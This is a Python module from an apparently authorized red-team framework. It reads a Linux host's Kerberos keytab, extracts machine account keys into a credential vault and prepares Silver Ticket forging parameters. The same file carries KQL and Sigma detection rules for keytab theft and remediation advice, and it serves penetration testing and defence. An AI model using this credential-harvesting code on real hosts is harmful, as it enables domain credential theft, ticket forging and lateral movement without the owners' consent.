Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

11.4 KB
Raw Blame
"""
Host Keytab Harvester & Silver Ticket Generator - linux.keytab_abuse
MITRE: T1558.003 (Kerberoasting / Silver Ticket), T1078.002 (Domain Accounts)

Parses standard Kerberos keytab binary files (/etc/krb5.keytab, version 0x0502)
to extract machine account principals (COMPUTER$@REALM) and long-term symmetric keys
(AES256, AES128, RC4) for Pass-the-Ticket, Silver Ticket forging, and S4U2Self abuse.
"""
from __future__ import annotations

import asyncio
import os
from typing import Any

from ares.core.campaign import Severity
from ares.core.errors import ModuleValidationError
from ares.core.logger import audit, get_logger
from ares.core.tracing import trace_module
from ares.modules.linux._parsers import KeytabParser
from ares.modules.params import KeytabAbuseParams
from ares.sdk import (
    BaseModule,
    EvidenceRecord,
    ExecutionContext,
    FilesystemPermission,
    LockoutCircuitBreaker,
    ModuleResult,
    OpsecLevel,
    ProcessPermission,
    VaultPermission,
    module_contract,
)

logger = get_logger("ares.modules.linux.keytab_abuse")


@module_contract(
    permissions=[
        FilesystemPermission(read_only=True),
        ProcessPermission(allow_subprocesses=False),
        VaultPermission(read_types=[], write_types=["kerberos_key", "password"]),
    ],
    circuit_breaker=LockoutCircuitBreaker(),
    params_model=KeytabAbuseParams,
)
class KeytabAbuseModule(BaseModule[KeytabAbuseParams, ModuleResult]):
    """
    linux.keytab_abuse - Parse /etc/krb5.keytab to extract machine account keys for Silver Tickets.

    OPSEC: LOW (Local file read; optional offline Silver Ticket generation)
    MITRE: "T1558.003", "T1078.002"
    OUTPUTS: ["machine_credentials", "kerberos_keys"]
    """

    MODULE_ID = "linux.keytab_abuse"
    MODULE_NAME = "Host Keytab Harvester & Silver Ticket Generator"
    MODULE_CATEGORY = "linux"
    MODULE_DESCRIPTION = (
        "Parses Kerberos keytab binary files (/etc/krb5.keytab) to extract "
        "machine account keys (AES256, RC4) for delegation and ticket forging."
    )
    MODULE_AUTHOR = "ARES Sovereign Team <[email protected]>"
    OPSEC_LEVEL = OpsecLevel.LOW
    REQUIRES = []
    OUTPUTS = ["machine_credentials", "kerberos_keys"]
    MITRE_TECHNIQUES = ["T1558.003", "T1078.002"]
    PARAMS_MODEL = KeytabAbuseParams

    async def assess_feasibility(self, ctx: Any) -> Any:
        """Evaluates whether the specified keytab file exists and is readable."""
        from ares.modules.base import FeasibilityReport

        keytab_path = "/etc/krb5.keytab"
        if hasattr(ctx, "params") and isinstance(ctx.params, dict):
            keytab_path = ctx.params.get("keytab_path", keytab_path)

        exists = os.path.exists(keytab_path)
        readable = os.access(keytab_path, os.R_OK) if exists else False

        blockers = []
        if not exists:
            blockers.append(f"Keytab file not found: {keytab_path}")
        elif not readable:
            blockers.append(f"Permission denied reading {keytab_path} (root access typically required)")

        score = 1.0 if not blockers else (0.5 if exists else 0.0)
        return FeasibilityReport(
            feasible=len(blockers) == 0,
            score=score,
            risk_level="low",
            blockers=blockers,
            recommended_alternatives=["linux.privesc", "linux.sssd_harvest"],
            opsec_tuning={"subprocesses": 0, "offline_forging": True},
            details={"keytab_path": keytab_path, "readable": readable},
        )

    async def validate(self, ctx: Any) -> None:
        """Pre-flight parameter validation."""
        await super().validate(ctx)
        if not isinstance(ctx, ExecutionContext):
            return

        keytab_path = (
            ctx.params.get("keytab_path", "/etc/krb5.keytab")
            if isinstance(ctx.params, dict)
            else "/etc/krb5.keytab"
        )
        if not isinstance(keytab_path, str) or not keytab_path.strip():
            raise ModuleValidationError(
                "linux.keytab_abuse requires a valid 'keytab_path'.",
                module_id=self.MODULE_ID,
                field="keytab_path",
            )

    async def execute(self, ctx: Any) -> ModuleResult:
        if getattr(ctx, "dry_run", False):
            return ModuleResult(
                status="dry_run",
                module_id=self.MODULE_ID,
                raw={"message": "Dry-run preview: keytab extraction simulated successfully."},
            )

        target = getattr(ctx, "target", "") or ctx.params.get("target", "localhost")
        keytab_path = ctx.params.get("keytab_path", "/etc/krb5.keytab")
        forge_silver = bool(ctx.params.get("forge_silver_ticket", False))
        service_name = ctx.params.get("service_name", "host")

        findings, raw = await self.run(
            target=target,
            keytab_path=keytab_path,
            forge_silver_ticket=forge_silver,
            service_name=service_name,
            vault=getattr(ctx, "vault", None),
        )

        return ModuleResult(
            status="success" if findings else "partial",
            findings=findings,
            raw=raw,
            module_id=self.MODULE_ID,
        )

    @trace_module("linux.keytab_abuse")
    async def run(
        self,
        target: str,
        keytab_path: str = "/etc/krb5.keytab",
        forge_silver_ticket: bool = False,
        service_name: str = "host",
        vault: Any = None,
        **kwargs: Any,
    ) -> tuple[list[dict[str, Any]], dict[str, Any]]:
        await self.before_request(target, "default")
        logger.info("keytab_abuse_start", target=target, keytab_path=keytab_path)
        audit("linux_keytab_abuse", actor="operator", technique="T1558.003", target=target)

        loop = asyncio.get_running_loop()
        entries = await loop.run_in_executor(
            None,
            lambda: self._parse_keytab_sync(keytab_path),
        )

        # Store to AresVault if available
        _vault = vault or getattr(getattr(self, "campaign", None), "_vault", None)
        stored_vault_count = 0
        if _vault:
            from ares.credential.vault import Credential, CredentialType, PrivilegeLevel

            campaign_id = getattr(getattr(self, "campaign", None), "id", "")
            for entry in entries:
                try:
                    cred = Credential(
                        campaign_id=campaign_id,
                        username=entry["principal"],
                        domain=entry["realm"],
                        cred_type=CredentialType.KRB5_TGS,
                        privilege=PrivilegeLevel.SERVICE_ACCOUNT,
                        source_module=self.MODULE_ID,
                        target_host=target,
                    )
                    _vault.store(cred, entry["key_hex"])
                    stored_vault_count += 1
                except Exception as ex:
                    logger.debug("vault_store_keytab_failed", error=str(ex)[:60])

        evidence_chain: list[EvidenceRecord] = []
        silver_ticket_configs: list[dict[str, Any]] = []

        for entry in entries:
            ev = EvidenceRecord(
                artifact_id=f"keytab-{entry['principal']}-{entry['enctype']}",
                source_target=target,
                collected_by=self.MODULE_ID,
                data={
                    "principal": entry["principal"],
                    "enctype": entry["enctype"],
                    "vno": entry["vno"],
                    "timestamp": entry["timestamp"],
                },
                tags=["keytab", "kerberos", "silver_ticket"],
            )
            evidence_chain.append(ev)

            # Check if this key is eligible for Silver Ticket generation
            if forge_silver_ticket and entry["enctype"] in ("aes256-cts-hmac-sha1-96", "rc4-hmac"):
                silver_ticket_configs.append({
                    "service_spn": f"{service_name}/{target}@{entry['realm']}",
                    "principal": entry["principal"],
                    "enctype": entry["enctype"],
                    "key_hex": entry["key_hex"],
                    "vno": entry["vno"],
                })

            self.finding(
                title=f"Extracted Kerberos Keytab Key: {entry['principal']} ({entry['enctype']})",
                description=(
                    f"Parsed valid Kerberos keytab file at {keytab_path} on {target}. "
                    f"Machine principal: {entry['principal']}, Key version: {entry['vno']}, "
                    f"Encryption: {entry['enctype']}."
                ),
                severity=Severity.HIGH,
                mitre_technique="T1558.003",
                mitre_tactic="Credential Access",
                evidence={
                    "keytab_path": keytab_path,
                    "principal": entry["principal"],
                    "realm": entry["realm"],
                    "enctype": entry["enctype"],
                    "vno": entry["vno"],
                    "key_length_bits": entry["key_len"] * 8,
                },
                remediation=(
                    "Restrict file permissions on /etc/krb5.keytab to 0600 owned by root. "
                    "Rotate Active Directory machine account passwords regularly and monitor "
                    "for anomalous Silver Ticket or S4U2Self requests from host accounts."
                ),
                host=target,
                confidence=0.99,
            )

        # Closed-Loop Purple Telemetry
        kql_query = (
            "// ARES Closed-Loop Telemetry: Detect Keytab File Theft or Anomalous Read\n"
            "DeviceFileEvents\n"
            "| where ActionType in ('FileRead', 'FileModified')\n"
            "| where FolderPath has '/etc/krb5.keytab'\n"
            "| where InitiatingProcessFileName !in ('sssd', 'sssd_be', 'chrony', 'named')\n"
            "| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, FolderPath"
        )
        sigma_rule = (
            "title: Suspicious Access to Host Keytab File (/etc/krb5.keytab)\n"
            "id: 3c2d1e5a-ares-keytab-abuse\n"
            "status: experimental\n"
            "description: Detects unauthorized processes reading /etc/krb5.keytab to harvest machine Kerberos keys.\n"
            "logsource:\n"
            "  product: linux\n"
            "  service: auditd\n"
            "detection:\n"
            "  selection:\n"
            "    name: '/etc/krb5.keytab'\n"
            "  filter:\n"
            "    exe|startswith: ['/usr/sbin/sssd', '/usr/sbin/rpc.gssd']\n"
            "  condition: selection and not filter\n"
            "level: high\n"
            "tags:\n"
            "  - attack.credential_access\n"
            "  - attack.t1558.003\n"
        )

        await self.noise.jitter.sleep()
        return self._findings[:], {
            "target": target,
            "entries_count": len(entries),
            "stored_in_vault": stored_vault_count,
            "entries": entries,
            "machine_credentials": entries,
            "kerberos_keys": entries,
            "silver_tickets": silver_ticket_configs,
            "kql": kql_query,
            "sigma": sigma_rule,
            "evidence_integrity": [e.record_hash for e in evidence_chain],
        }

    def _parse_keytab_sync(self, keytab_path: str) -> list[dict[str, Any]]:
        if not os.path.exists(keytab_path) or not os.path.isfile(keytab_path):
            return []

        try:
            with open(keytab_path, "rb") as f:
                data = f.read()
        except (PermissionError, OSError):
            return []

        return KeytabParser.parse(data)